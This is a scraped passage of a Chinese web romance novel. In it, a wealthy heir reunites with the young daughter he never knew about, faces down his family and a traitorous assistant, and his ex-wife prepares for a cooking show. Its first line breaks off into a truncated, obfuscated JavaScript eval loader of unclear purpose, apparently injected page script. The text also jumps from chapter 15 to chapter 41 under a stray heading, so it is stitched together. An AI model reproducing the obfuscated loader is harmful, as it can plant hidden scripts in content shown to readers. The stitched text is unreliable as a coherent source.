想起来他一个满身灾厄被霍家丢弃八年的所谓长孙回到霍家这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有下面合作商的,霍秉仁,霍云秀的,尹文昭也给他发了几条狗屁不通的感谢话,唯独某个新加的微信没有动静。 霍景闻点开看了一眼就退了出来,关上手机,开始闭目养神。 时间才九点半。 不急。 回到千水公馆霍景闻直接去浴室洗了个澡。 浴室的闷热的水汽熏得他有点躁,洗完澡后随手披上浴袍,打开冰箱拿了一罐可乐。 冰镇过的可乐放在岛台上,罐身很快凝结出一层细小的水珠。 修长指骨扣上拉环,微微一用力,“啪”地一声,浓烈的气泡不被压制后迫不及待的蜂拥而出,霍景闻仰头喝了一口,冰凉又跳动的液体勉强抚平了他血液里的燥热。 丢在沙发上的手机忽然微弱的响了一下。 在安静的客厅里又是如此的清晰。 霍景闻喉结滚动了下,走过去拿起手机打开。 果然是梁音发来的微信。 【明天上午十点,我会带意意去森氧公园。意意很期待见你,请不要迟到。】 霍景闻看了许久,才动动手指回了一个字:【好】 刚刚勉强压下去的燥热似乎又涌了上来。 只不过这次并不让人感觉烦闷,而是那种被融化后顺滑又甜蜜的巧克力包裹住的炙热与紧密,以至于他那只不久前还沾着鲜血的手此时竟然都兴奋地微微颤抖。 很多人咒骂他孤寡一生,断子绝孙。他本也以为,像他这样亲缘浅薄的天煞孤星命格,断子绝孙太正常了。 可惜啊……不能让他们如愿了。 霍景闻扬起眉骨,十分愉悦地想,梁音早就给他生了一个聪明可爱漂亮水灵的小公主。 15.第 15 章 夜色静谧,月凉如水。 凌晨三点钟,霍景闻迟迟睡不着,胸口传来的心跳如鼓锤。 沉重,剧烈。 他睡不着。 兴奋地,煎熬地睡不着。 他和梁音的每一次都做了措施,所以这个孩子的出现完全在他的意料之外。 怎么可能……有孩子了呢。 霍景闻回忆了一下第一次见到意意的场景,她穿着蓝色的艾莎公主裙,背着可爱的小包,眼睛大大的,湿漉漉的,像藏着星星。 那天他和一群老东西对峙完心情不太好。乍然看见孩子,觉得她长得神似梁音又不敢相信。 他这几年总是恍惚以为见到了梁音,现在连在一个小孩身上,也能看出梁音的影子。他感觉自己太荒唐,所以对意意莫名迁怒,语气也不算好。 现在看来那不是他看错。 意意竟然真是他和梁音的孩子。 他竟然真的有个女儿。 自从见到梁音和孩子一起出现,他就无比笃定,那是他的女儿。 他的女儿,有双和他很像的眼睛。 离开六年的人不仅回来了,甚至,还生下了他们的孩子。对霍景闻来说不下于一道惊雷,震得他通身酸麻。 她当年走得那么决绝,怎么可能生下他们的孩子?她一个人,又是怎样艰难地把孩子带大? 在商场看见的那一幕,时至今日,他都不敢相信,恍如梦中。这两天他都没有睡好,心率都快失常,屡次从梦中惊醒,深怕,又是自己一场没有结果的虚妄。 他在床上翻来覆去。 想到明天终于可以看到女儿,身体的血液都在沸腾。 然后,霍景闻又感到了一丝焦灼。 他和意意见的两次面中,他对孩子的态度都很冷漠。意意应该很伤心,会不会已经对他这个爸爸失望? 她两次跑来找他,是想见他的,被他那么冷漠的对待,小家伙该有多难过? 他明天该怎么做,才能挽回孩子的心? 五岁的小孩,都喜欢什么?梁音说她最喜欢艾莎公主,可是只买艾莎公主的玩偶会不会不够有诚意? 霍景闻躺在床上辗转反侧,思索着这个令他难得感到棘手的问题。 — 第二天一早霍景闻就起床了,让助理把他所有的工作都推到下午。 起床来到衣帽间,想来想去,选了一套正式合体的高定黑色西服。 为他量身打造的西服剪裁合体,隐匿的金色奢华暗纹和袖口的弧度都精细得恰到好处,完美地衬出他的身形,宽肩窄腰,气质优越拔群。再戴上一块蓝色珐琅彩面的百达翡丽,和女儿的艾莎公主裙一定很相衬。想了想,又在自己胸口别了一枚绚丽的宝石胸针。这种亮晶晶的东西,小孩子肯定会喜欢。 霍景闻郑重打扮了一番,处处精致,英俊逼人,简直比走红毯的男明星还要璀璨风骚。接着独自驱车去了商场,走进一家玩具反斗城。 玩具城刚刚开门,没想到店里就来了一个高大峻冷的年轻男人。 店员走来看了霍景闻一眼,暗自惊叹了声好帅,英俊得简直不像凡人! 她在这里上班那么久,第一次见到这种帅得惊天动地的大帅比!还这么有童心,来买玩具! 让她都有些不敢再看第二眼了,努力端出专业的表情,询问: “先生您好,请问你想买些什么呢?” 就听见面前的大帅哥豪气地说:“请帮我把你们店里各个型号的艾莎公主玩偶,挂件,手办都包起来。” 顿了下,他又补充了句:“把她妹妹一起包起来。” “好的,您稍等。” 店员喜不自胜转头立马去打包,天降财神爷啊这是! 霍景闻看着店里各种各样的玩具,思考着要不要再买些其他的。 小孩子都喜欢哪些呢? 他不太清楚,但这个卖玩具的店员一定清楚。 “请问五岁的小女孩都喜欢什么玩具?” 店员连忙带他去展示柜台,刚要介绍:“这个是……” “都包起来吧。” “好的!” 店员脸都笑开了花。 又帅,又有钱,又有心!也不知道哪个女人这么幸福啊! 买来的玩具玩偶塞满了整个后备箱,霍景闻不再停留,飞快开往森氧公园。 九点四十。 霍景闻来到约好的花下长廊,为了方便,最后还是只拿了个小型的爱莎公主玩偶。 天高云淡,天气正好。公园里已经有很多家长带着孩子来踏青。 有几个小孩子正在放风筝,在草地上跑来跑去,快乐的童声随着飘扬的风传了很远。 霍景闻心念一动,转过身,又去买了个风筝,然后等着她们的到来。 — 快十点的时候,梁音带着女儿来到了公园。 意意今天穿得很可爱,蓬蓬的草莓吊带小裙子,斜挎了个小包,脑袋上柔顺的头发扎成两个小揪揪别上了草莓发卡。粉雕玉琢,白白嫩嫩,软乎乎的就像个草莓小蛋糕,看得人想狠狠亲一口。 快走到花廊入口,梁音把女儿放下来,仔细给她整了整刘海,温柔地说:“去吧,爸爸在等你。” 昨天晚上,梁音就和女儿解释了霍景闻之前不认她的事。又告诉女儿,她不会因为她去见爸爸就不高兴。 孩子还小,她不能让女儿知道,她爸爸其实连她的存在都不知道。 这也是她和霍景闻共同的想法。 “我和你爸爸离婚的时候你还小,这几年我们没有回国,爸爸没办法见到意意,所以才不认识意意。” “爸爸这几天都觉得很抱歉,想认真向你道歉,希望你可以原谅他。” 听说今天要来见霍景闻,意意好像一直有点紧张,捏着小手,来到了公园后,看起来也有点怯生生的。 “爸爸这次会和你好好道歉,意意不用怕。”梁音蹲下来,告诉她,“他就在前面等你哦,去吧。” 意意想了想,终于下定了决心,交代梁音:“那妈妈在这里等我,我去看看就回来。” 小脸严肃,像个小大人一样。 梁音笑了笑:“好,妈妈在这里等你。” 这个花廊并不长,是个弯弯的月亮形状。 意意捏着自己的包包,一段路走的慢吞吞的。 爸爸之前都没有认她,原来是不认识长大的她。 那他会喜欢意意吗?还会不会像之前一样对她那么冷漠呢? 别的小朋友的爸爸从来不会这样。 会不会是妈妈安慰她,其实爸爸从来不喜欢意意呢。 如果爸爸不喜欢她…… 意意小脑袋丧气的耷拉着,小步子越发慢了起来。直到拐了一道弯,在花廊的尽头,看到了一个很高的背影。 就算还是有点担心,意意也忍不住啪嗒啪嗒跑了起来,直到离爸爸几步之外,又忐忑的停了下来,犹豫不前。 …… 今天的天气很好,天朗气清,微风正好。 霍景闻难得有了欣赏景色的心情。 周围有很多小屁孩跑来跑去,嬉笑打闹的杂乱声音,可是他还是清楚地听到了身后“哒哒”小碎步跑来的脚 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意意睁着大眼睛呆呆的看着他,感觉爸爸好像变了一个人一样。吸了吸鼻子,稚嫩的嗓音带着不确定:“你认识意意了吗?” “嗯。”霍景闻认真地看着女儿的眼睛解释,“爸爸之前只看过意意小时候的照片,没想到意意长大了这么可爱,没认出来意意,是爸爸的错。” 这是他和梁音商量好的说辞,尽最大的可能消除对女儿的伤害。 他递上玩偶给女儿,“爸爸向你道歉,我买了你喜欢的艾莎公主和安娜公主,希望意意可以原谅爸爸,好吗?” 意意看着面前的玩偶,小手接过来紧紧握住。 霍景闻出生在一个封建大家族里,被大师钦定的凶寡命格让他从出生起就恶名在外,背上许多罪孽。提起他,大多数人都用地狱里的恶鬼,令人避之不及的阎王爷来形容他。 好像他真的罪业滔天,不能宽恕。 他一向我行我素,从不把这些人的话放在心上,奉行“错不在我,是他人太苛刻”的原则。 他不会认错,也从不认错。 除了这次。 他到此刻看见意意怯怯的眼神,才深刻意识到自己对这个花朵一般可爱的小家伙都做了什么。 他不敢希冀几句轻飘飘的道歉就能得到女儿的原谅,这几天他苦思冥想,还想了很多的道歉方式…… 只是他完全没有想到,意意抓紧了那个玩偶转头就塞进了包里。 意意的性格更多的还是像梁音,柔软,乖顺,大度。她把玩偶放进包包里以后,伸长手臂,毫不记仇的扑过来抱住霍景闻的脖子,奶声奶气的回答:“好!” 小孩软软的藕节一样的手臂抱住了他,紧接着她柔嫩的小脸蛋也贴了上来,暖热的体温透过他的皮肤,顺着血管冲进了他的心脏和四肢百骸。 霍景闻瞳孔颤了颤,连呼吸都轻缓。 他好像遇见了小天使。 女儿身上的气息有种久违的温暖和熟悉,让他忍不住想起七年前的某一天。 那天下午,在漫天夕阳下,他满身是血,连眼睛也被流下的血慢慢浸染。 地上的血色之花开得靡荼,他的生命却在渐渐流逝。 或许就这样死去也不错,他想。 就在他脱力昏沉,快要晕过去时,有个女人走过来小心翼翼地蹲在他面前,担忧地说:“你流了很多血,我带你去医院,好吗?” 昏黄的朦胧光影里,他艰难睁开眼睛,对上一双温软的眼。 那一刻,少年冰冷罪恶的人生里,好像也等到了独属于他的心软救世主。 40-50 第41章 第41章他的乞求,变成了一个笑…… 霍景闻觉得自己心里的那点期待愚蠢透顶。 她要是对他有一点怜悯,也不会一走就是六年。 薄情寡义的女人,真以为他非她不可了吗。 出院这天,天气晴朗,但十月初的气温已经降低,带着初秋的凉意。 霍景闻脱下穿了大半个 月的病号服,换上休闲的黑色冲锋衣和长裤,衬得宽肩窄腰,身形挺拔,浑身的恣意矜贵。 安叔恭敬地等在门口,说:“景闻,老爷子让你出院后回老宅一趟,现在是去老宅吗?” 霍景闻转身走过来,阔步离开:“他们还不配我第一个去见。” 安叔迟疑:“那……” 霍景闻:“去星星幼儿园。” 第一个,当然是要去见他的小公主。 * 宽阔干净的操场上,一群可爱的小朋友在老师的陪伴下,正在开心的玩游戏。 欢快吵闹的童声充斥着整片操场,似乎将空气都渲染得生动愉悦。 这些小朋友个个白白嫩嫩,活泼好动,到处跑,精力十足。 但霍景闻还是一眼就看见了十几个小孩里,最可爱的那个。 意意扎着两个柔软的小辫,小脑袋上还顶着两个蓝莓发卡,在人群中蹦蹦跳跳,玩得很开心。 老师走过去蹲在她面前和她说了几句话,就看见刚刚还玩得很开心的意意连忙睁着水润的大眼睛到处望,直到,视线定格在操场外,一身黑衣的霍景闻身上。 她呆呆的看了好几秒。 然后小手紧紧握了起来,都来不及和老师说话,就激动的,像个小炮弹一样冲出了操场。 霍景闻快步走向操场入口,果然看见了从里面冲出来的女儿。 “爸爸!” 小孩儿大声喊了一句,然后飞快向他跑过来。 霍景闻蹲下,身,单手接住了冲过来的小胖墩。 怀里结实又柔软的小身体,好像又胖了一点点。 霍景闻单手把女儿抱起来,看着她红扑扑的小脸,笑着夸赞:“我的小公主,跑得真快。” 话音落下,就感觉颈边热热的。 小孩儿热切的搂住他的脖子,声音软软糯糯的,带着担忧:“爸爸,你的身体好了吗?” 霍景闻:“好了。” “太好了。” 意意小大人一样松了一口气,认真地说,“爸爸,你以后不能去危险的地方了,我们老师说了,在外面不能乱跑,要注意安全!意意和妈妈都会担心的!” 看着女儿严肃的小脸,霍景闻一脸“受教”的表情,认真保证:“好,都听我的小公主的。爸爸以后不去危险的地方了。” 意意:“那就好。” 意意:“那爸爸,你今天晚上可以来陪我玩吗?你好久都没陪我玩了,艾莎都想你了。” 霍景闻身体顿了一下。 把女儿放下来,正色地说:“抱歉宝贝,爸爸接下来要去国外出差一段时间,是很重要的工作。等爸爸回来,一定好好陪你,好不好?” 意意扭扭捏捏的,有点儿不高兴。 霍景闻看她扁了扁的小嘴,反而觉得高兴。 真不错,他女儿敢对他不高兴了! 这怎么不是一种进步呢? 点了点她可以挂油壶的嘴,霍景闻又握了握她的小手,刻意放柔声音,好不卑微地祈求:“小公主别生气了,爸爸保证,一工作完就尽快回来。等爸爸回来,专门陪你去游乐园玩,找你的艾莎公主,行不?” 意意这才勉强答应:“好吧,那你一定要早点回来哦。” 一向跋扈的霍大少,在女儿面前也只有低声下气的份,说什么是什么,笑眯眯的答应:“好。” 安叔站在后面,内心感叹。 什么时候见过以凶恶著称的景闻有这么柔软的一面,反差太大了。 梁小姐真是,功德无量啊。 …… 从星星幼儿园出来,霍景闻脸上的笑容逐渐消失,恢复成一贯的冷脸,吩咐安叔:“回老宅。” 安叔:“是。” 回到霍家老宅时,天色初暗,华灯刚起。 坐落在城北一片清幽绿林中的霍家老宅巍峨伫立在夜色中。 这栋讲究的豪华中式建筑建造于上个世纪,红墙绿瓦,飞檐雄伟,入门后幽静雅致的中式庭院里,假山奇石,潺潺曲水,透着自然的清净。 这里的一砖一瓦,亭台水榭,都极具讲究。 可是再讲究,历经几十年的风雨洗涤,刀光剑影,这座豪华的深宅里,谁又知道藏着多少的腐朽与溃败。 霍景闻踏进客厅。 老爷子坐在上首。左右分别是霍秉仁,霍秉义,还有他的姑姑,霍云秀。 为了审判他,看来都到齐了。 这几十年来,无论霍家兄弟姐妹怎么明争暗斗,只有不触及霍家的核心利益,不损害霍家的名声,霍老爷子从来是睁一只眼闭一只眼。 玉不琢,不成器。 没有争斗和磨砺,培养不出合格的继承人,这就是老爷子的培养理念。 子孙争斗他从来不管,但这次霍景闻把他父亲的丑闻散布得全天下都知道,损害的已经不仅仅是霍秉仁的脸面了,还有霍家的声誉。让外界看了霍氏的笑话,这是霍老爷子所不允许的。 “景闻,你的伤好些了没有?”坐在太师椅上的霍老爷子先是关心地问了一句。 霍景闻走到中间,微微躬身:“托您的福,还有奶奶派了黄嫂悉心照料,已经好得差不多了。” 霍老爷子微微点了点头。 客套的关心之后,就是质问了。 霍老爷子沟壑渐深的脸上变得严肃:“景闻,这次叫你来,是要和你说说上次之事。” 他先是转头看了霍秉仁一眼,精明的眼里怒意更甚,直接当着在场所有人的面训斥:“你爸爸要插手城西建设的事我不知情,他这一步也走得实在荒谬,让所有人看我霍家的笑话!蠢货!” 霍秉仁被老爷子在众人面前,特别是在自己的儿子面前训斥,当然挂不住脸,面色难看的垂下头,没有出声。 在这个霍家,没有人敢反抗霍老爷子的权威。 训了大儿子的霍老爷子此时话风一转,终于看向了霍景闻:“你爸爸昏庸,你也跟着一起荒唐?把家事宣扬得沸沸扬扬,多少人在看我霍家的笑话?我不管你们父子心里打的什么算盘,要做,就要做干净一点,闹得满城风雨,像什么话!” 老爷子看起来实在是气急了。 要不是霍景闻受伤,不会等到现在才发作。 霍云秀此时搭腔:“爸,这事儿我看也怪不了大哥吧?他好心想帮自己儿子一把有什么错?倒是景闻,做得太绝了,连自己的亲生父亲也能这么狠辣无情的下手。还把这事儿散布得到处都是,不就是故意要落大哥的脸面?我看啊,那大师说得就没错,他果然是个凶——” “住嘴!”霍老爷子厉声阻止,“事到如今,还敢说这种无稽之言?我严令不得在霍家重提此事,你霍云秀又有把我这个父亲的话放在眼里吗?” 霍云秀自知失言,讷讷的闭上嘴。 这时霍秉义出声:“这事虽然也不怪景闻,可是爸,霍氏也是实实在在被影响到了啊。近半个月来,霍氏股价一路低迷您也看在了眼里。当初您让景闻接手霍氏,这才一年,就出了这么大的篓子……牺牲了霍氏的利益为代价,好些董事都很不满了,如果再让景闻继续管理公司恐怕,不能服众吧?” 霍老爷脸色沉沉,看向霍景闻:“景闻,你二叔说得不是没有道理,你怎么说?” “爷爷,我可是您一手挑选的继承人,如果这点小事我还搞不定,那岂不是……废物一个?”霍景闻看了看他的三位长辈,慢悠悠的笑了下,手掌拍了拍,安叔拿着一份文件进来。 霍景闻接过来递给老爷子:“损害了霍氏的利益是我做得不对,但我岂能让您失望?这是我和海利集团总裁皮特签署的合作意向书,今后三年,他们所有的外贸生意往来,全都会交由我们霍氏。” 海利集团? 在座的人闻言惊了一下。 这不是E国第一大海货公司么?他竟然和霍景闻达成了合作?合约签的还是三年?! 若是霍氏旗下的海运公司接手了这么一笔巨大的订单生意,在巨额的收益面前,霍氏因内部斗争的丑闻而影响的那点股价便显得十分的微不足道了。 等这桩合作一宣布,霍氏的股价只会重新飞涨。 霍景闻……哪来的这么大本事? 霍老爷子翻看着手中的意向书,脸上的怒气渐渐消散,满意地连连点头。片刻后他把文件放下,抬眼看向坐着的其他人:“你们还有什么异议?” 底下无人吭声。 霍老爷子无声审视自己的三个儿女,他不是不 知道,刚刚这三人统一战线在围剿霍景闻。 他没有压制,也是想看看他这个孙子怎么应付。 显然,他这个孙子做得很好。 没想到他霍振华聪明一世,苦心培养亲子,三个子女却皆不争气,还没有一个从小流落在外面的孙子有手段,想来也是讽刺。 他慢慢站起来,“如果没有异议……” “等等。” 霍景闻忽然出声,“我还有个礼物,要送给父亲。老爷子,还请您见证。” 霍秉仁精利的目光立时看来,还在试图保持威严:“什么礼物?” 霍景闻扯了扯嘴角,语气淡淡:“带进来吧。” 话音落下,精壮的保镖拎着一个瘦弱的男子走了进来,随后把人像丢一摊死肉般丢在了地上。 地上瘦弱的男子惊惶的目光看向了霍秉仁,很快又低下头,吓得浑身颤抖。 霍景闻慢吞吞的走到他身边,蹲身下去拍了拍他的脸。扯起嘴角,看上去笑眯眯的,眼里却没有一丝笑意,连嗓音都阴冷,“怎么了杨乾,看到你真正的主人,还不敢认了?” 要不是有他这个好助理的通风报信,他还没那么容易离间赵家和霍秉仁呢。 杨乾浑身抖得像筛子似的,满头冷汗,“小,小霍总……饶了我……我也是被逼的……” “饶了你?”霍景闻挑眉,“好陌生的一个词。作为我的助理,上个背叛我的人是什么下场,你应该,最清楚了吧?” “我霍景闻的人生字典里,可没有“饶恕”这个词。” 杨乾腿一软,整个人瘫倒在地上,吓得涕泗横流。 很快,地上流下一滩腥臊的尿液。 霍景闻嫌弃的往后退了一步,看向面色沉沉的霍秉仁,语气惬意:“父亲,您的“好心”就是烂肉一堆,我就还给你了。” “我还有事,不奉陪了。” 说完他转身,长腿阔步,一步一步走出霍家。 无人敢拦。 从霍景闻把杨乾丢上来甩在众人面前,把霍父的脸面踩在脚下的那一刻起,就代表着他霍景闻不再受霍秉仁的挟制。 用生父的尊严和脸面,铺就一条他的无上青云路。 以父为阶,助我登青云——这就是霍景闻对霍秉仁最狠的报复。 何其狠辣,何其不孝,何其,冷血。 …… 梁音最终还是答应了安灵的邀请去录制《完美厨神》第四季,就像沈浩说的那样,她去上节目,只要不出错,对自己,对餐厅来说都是百利而无一害。 尹夏听说梁音答应去录节目,很高兴,特意在自家会所攒了个局,还叫来了安灵,打算来个“一酒抿恩仇”。 说来她们三个认识的经历还有些雷同。都是她们找梁音的茬,然后被梁音折服。 因为是自己家的会所,所以尹夏大方的开了一个Vip包厢。 奢华的水晶灯在包厢里反射出耀眼细碎的光芒。 安灵虽然有时候苛刻嘴贱,但是也是个爽朗的性子,为自己当初的找茬行为当场喝了三杯酒道歉。 “梁音,我很高兴你能不计前嫌,答应我的邀请。”安灵又喝了整整一杯,脸上已经浮起了酒色潮红,“你放心,我安灵是个知恩图报的人,我一定把你捧成甜品界巨星!” 尹夏笑她:“哈哈哈哈哈好土的名字,还甜品巨星呢!你怎么不说叫甜品名媛?” 安灵认真地思索了几秒:“这个名字也不错耶!” 尹夏:“呕,就你这两下,还美食制片人呢,一点创意都没有!” 她转头和梁音解释:“你别听她胡说八道,她一看就喝醉了……嗝……” 梁音摇摇头。 她看她也好不到哪里去。 两个人一边大笑,一边喝交杯酒,大有不醉不归的架势。 忽然安灵爬到沙发上站好,豪气云天大喊:“他们都说我安灵江郎才尽,我偏要让所有人都知道,我安灵女王又回来了!他妈的,我就不相信我安灵会一直输,草!” 尹夏:“不输不输,包赢的!我们战队包赢的!” 两人在包厢里鬼哭狼嚎。 尹夏还有一点神智,转头问梁音:“梁音姐姐,你怎么不喝啊?这酒挺不错的,你尝尝。” 梁音好笑地说:“我喝了,到时候谁送你们两个醉鬼回家呀?” 她其实不喜欢喝酒,总觉得酒太过苦涩。 尹夏睁着眼思索:“是哦。那你就喝饮料就行。” 她和安灵又疯了一会儿,忽然想起来,“对了,我突然想起来我哥藏了一瓶绝版好酒,你们等着,我这就去找我哥拿……” 说完就跌跌撞撞的要去开门,然后…… “哎呀。” 啪叽一声,摔倒在门口,倒头就睡。 梁音连扶都来不及。 …… 把尹夏扶回到沙发上坐好,鉴于醉鬼走不了,梁音只好替她走一趟。 这个会所很大,装潢得不算金碧辉煌,但却很有格调。 据尹夏说,她哥哥正在楼上的101包房。 明明在二楼,却叫101,还真是别致。 二楼比起一楼,装潢更加隐贵雅致,走廊尽头是一面巨大的镜子,墨青玉石砌成的墙面透着温润的弧光,一路柔软的红色地毯铺到了包厢尽头,头顶银光流动,奢华难言。 梁音在侍应生的指引下,顺利找到了尹文昭所在的包间,刚想敲门,就听到里面低低的交谈声。 梁音想了想,如果尹文昭正在和人谈事,就不方便打扰了。 转身正要离开,忽然包厢门被人拉开,脚步声从身后响起,伴随着尹文昭信誓旦旦的话音:“你就放心吧,这次比赛,我有一百个信心保证战队能拿下冠军!” 下一秒,是一个熟悉的冷淡嗓音:“嗯。” 梁音转头,视线不期然撞入一双深邃的眼眸。 是霍景闻。 他怎么会来这里,哦,他好像投资了尹文昭兄妹的俱乐部。 半个多月不见,他穿着漆黑的冲锋衣,面上表情很淡,周身都是冷然的气息。不过面色虽然淡,但是气势很盛,看起来他的伤已经完全好了。 一股淡淡的酒味飘过来。 他的伤才刚好,竟然就来喝酒么? 梁音思绪流转间,尹文昭已经看见了她,赶忙打招呼:“Sherry老师,你不是和夏夏她们在一起喝酒吗,怎么过来了?” “夏夏说要找你拿瓶酒,但是她有点醉了……”梁音顿了一下,目光看向了霍景闻,沉默了下还是说,“其实伤刚好,还是不太适合喝酒的。” 霍景闻眉头微微一皱。 这时尹文昭见状连忙上前要介绍:“霍少,这是我妹妹的朋友,叫——” “不必了。” 霍景闻冷声打断。 话音戛然而止。 梁音站在原地,神色怔了一下。 尹文昭不明所以,愣了下,然后恍然大悟:“哦哦,我怎么忘了,霍少你是认识Sherry老师的。” 就是在俱乐部那次。 而且这一贯混不吝的大少爷对Sherry老师还额外的礼貌客气。 可是今天为什么……反而有点冷漠? 光影昏雅隐绰的走廊上。 霍景闻似是没什么耐心,丢下一句:“下个赛季要是还看不到成绩,尹文昭,你就等着我撤资。” 轻飘飘丢下这句话后,他不再停留,径直从梁音身边走过。 从头到尾,冷漠地没有看她一眼,对她视而不见。 他的身影消失在走廊尽头后,梁音耳边传来尹文昭的哀嚎:“怎么就这么无情呢,不就是一次比赛没有发挥好么……” 碎碎念个不停,忽然又想起来:“哦Sherry老师,你要拿酒是吧,你等着哈,我现在就给你拿。” 梁音点了点头。 很快尹文昭把酒拿了过来,梁音拿着走回了包厢。 霍景闻冷漠的态度她早有预料。 她了解他,他太高傲,有时候连解释都不屑,在他低下高傲的头颅之后又被她拒绝,这对他来说是难以忍受的。 她刚刚没忍住提醒他,只是觉得他刚出院,身体还在恢复中,喝酒不太好。 他是因为她受的伤,再怎么样,她见到了总要提醒一下。 至于他的冷漠,她其实无所谓。 回到包厢的时间,尹夏和安灵两个人已经完全醉倒了,躺在沙发上呼呼大睡。看来这酒也不必再喝了。 她把酒放下,想了想,给尹文昭打了个电话让她来接尹夏。 安灵……她也不知道她住在哪里,只能带回家了。 尹文昭很快来了,看见梁音要带安灵走,连忙跑过去要把人接过来:“哎哟,这两个姑奶奶怎么喝得这么醉啊……真是的,都是酒鬼。Sherry老师,你甭管了,这两个人我都带回家。” 梁音看了眼安灵,有点迟疑。 她知道安灵和尹夏是朋友,但是把安灵交给尹文昭,她还是有点不放心。 尹文昭看出她的担心,连忙解释:“没事,我们仨从小就是好朋友。Sherry老师,你放心哈。” 尹文昭话音刚落,安灵一巴掌就扇到他脸上了,迷迷糊糊的睁开眼,怒视着他:“尹文昭,你丫的有没有一点眼力见?没看到我喝醉了,还不快扶姐姐我起来?” 尹文昭窝窝囊囊的也不敢还手,看向梁音,一脸“你放心了吧”的表情。 梁音笑了笑。 看来确实是不用她操心了。 尹文昭叫人把两个姑奶奶扶下去,抽空还关心了下梁音:“Sherry老师,你喝了酒吗?要不要我找个人送你回去?” “不用了,我没喝。” 梁音婉拒后,从会所里出来。 现在已经是晚上九点了,月亮高悬,门口亮着璀璨的霓虹,秋风渐起,带来一丝微凉。 梁音站在门口,等着门童把车开过来。 她低头站着,没有发现街角沉默地停着一辆流光溢彩奢华的迈巴赫。 迈巴赫沉黑的车窗缓缓往下降,露出一张冷峻分明的侧脸。 晦明晦暗的光影下,霍景闻靠在座椅上,静静的看着门口那道纤丽的身影。 梁音站了多久。 他就看了多久。 时隔半个月,在她拒绝他的心意之后,再见到他,她还能若无其事的提醒他一句喝酒伤身。就像是,对任何一个普通朋友的随口关心。 怎么就能如此大方坦荡? 看起来有情,其实最无心。 过去这么多年,她没有一点儿惦念过他。离开得干脆利落,放下得果断绝情。 他的乞求,变成了一个笑话。 梁音哪里都好,唯独一点不好,就是不再爱他。 真是,令人讨厌。 霍景闻压下眼睫,放在大腿上的长指微微蜷起,压下越来越翻涌的情绪。 夜色越来越凉。 黑色的车窗慢慢升起,遮住所有的光。 “开车。” 他冷声说—— 作者有话说:放心,这已经是霍大少能做到对老婆冷漠的极限了哈。 第42章 第42章她这是去参加美食综艺还…… 《完美厨神》第四季是在半个月后开始录制。 节目一共十二期,每一期分上下,形式是边录边播,以便可以及时了解观众的反馈,进行调整。 这次安灵一共请了三个评委,国宴大师文杰,毒舌美食品鉴家沈又安,还有一个当红顶流周叙琛,吸引流量。阵容不可谓不强大。 这季的主题不再追求极致完美,而是主打创意吸睛,旨在挖掘各种食材独特的风味与它象征代表的情感温度。 总的来说,安灵这次,是想打造一个温馨的美食节目。从一开始的冲突,矛盾,辣评到最后通过美食的温暖达成和谐圆满的治愈大结局。 这也是安灵为什么要请沈又安来的原因。 众所周知,这沈又安是在网络上吐槽各种招牌菜出名的“毒舌”博主。 而这次安灵一共设置了三个主题的比赛。 甜品,川菜,粤菜。 梁音正是第一个主题竞赛的嘉宾。 甜品主题,安灵请了两位甜品爱好者,两位专业甜品师,形成对比。专业甜品师,安灵请的是菲尔纳丽的现任甜品主厨梁音,还有被挖走的原主厨文轩。专业与非专业对比,再加上同一餐厅的前任现任主厨的同台竞技,简直是噱头十足。 节目第一期,节目组要求参赛的各位甜品师做同一道甜品——舒芙蕾。再将这些舒芙蕾匿名送到各位评委面前一一打分,最后再向观众揭示这份甜品是出自哪个甜品师。 这种盲评赛制,简直不要太刺激。不看名气,不看专业,只专注甜品本身。如果专业甜品师的作品得到的是低分,不敌非专业的,这何尝不是一种看点? 节目组也非常会来事,第一期预告剪出来,标题就为:【顶级甜品师陷入低分争议?是名副其实,还是徒有虚名?】 这预告一出,就已经在网上掀起了不少的讨论浪潮。 甚至都有网友开扒在预告中出现的两位专业甜品师的来头。 “竟然是文轩,他不是菲尔纳丽的甜品主厨吗?号称宜京甜品天花板,他竟然也来参加节目了?” “楼上消息落后了,人家已经跳槽,被趣泽重金挖走了。” “哇塞,看来很厉害呀,我投他一票。” “那两个甜品爱好者也很厉害的,都是有几十万粉丝的网红,这文轩该有压力了。” “这节目阵容不错啊。” “咦……那个特邀甜品师Sherry是谁啊?不认识这号人啊?竟然还是特邀来的,很厉害吗?” “不认识,但是姐姐长得好漂亮,是我的菜!” “让你品鉴美食不是品鉴美女!” “这个美女好像才是菲尔纳丽的现任甜品主厨。” “哇偶,所以是菲尔纳丽前后两大主厨同台竞技吗?太刺激了吧?” 当然更多的还是周叙琛粉丝的刷屏: “啊啊啊啊啊是哥哥的第一档综艺,追起来!!” “琛宝好帅,绝世神颜!” “《完美厨神》大爆爆爆!” 因为有周叙琛的加入,再加上他第一次参加综艺的噱头,仅仅出了个预告,《完美厨神》第四季就冲上了微博热搜。 …… 第一期节目在一周后中午十二点正式上线。 明颜早就搬好了凳子,打开了平板,等在屏幕前。 她决定等节目一上线就第一个发弹幕为她的好闺闺助威!结果这节目组不干人事,竟然提前了两分钟,等她点进去,满屏幕全是周叙琛粉丝的彩虹屁了。 这周叙琛再帅,影响了她给姐妹助威,明颜也懒得看,于是她在弹幕里把“周叙琛”设置成屏蔽词,以为弹幕就干净了,没想到到又全是一水儿的琛宝,哥哥…… 再把这两个词一起屏蔽,弹幕终于干净了许多,剩下的大部分都是讨论节目的了。 节目开场白结束后,开始介绍评委,周叙琛一出场就获得铺天盖地的欢呼声。等三位评委就绪以后,终于来到介绍参赛的甜品师环节。 文轩是第一个出场的,紧接着是两个网红甜品师,他们三个自带粉丝,一出场都有好多弹幕在欢迎。 最后,是梁音出场。 为了上节目,她换了一身黄色的针织毛衣配上白色长裙,脚上是一双七公分的尖头高跟鞋。白净的脸上化了淡妆,柳眉浅浅,润泽的杏眼透着盈盈水光。 妆发是明颜找化妆师朋友做的,挽了一个温婉的发髻,看起来楚楚而绰约,宛如烟雨江南里,书香气质的大小姐。 她站在灯光下,眉目舒展,长相并不是那种很有攻击性的艳丽,而是一种舒缓的,柔和的清丽。就算隔着屏幕,都有一种,她身上的味道一定很香甜的感觉。 网友对梁音还是很陌生的。 “这是谁啊?名头好像比文轩还大诶,可是没听过她的名字啊……” “姐姐有点美丽的……但是不认识。” “不认识+1。” 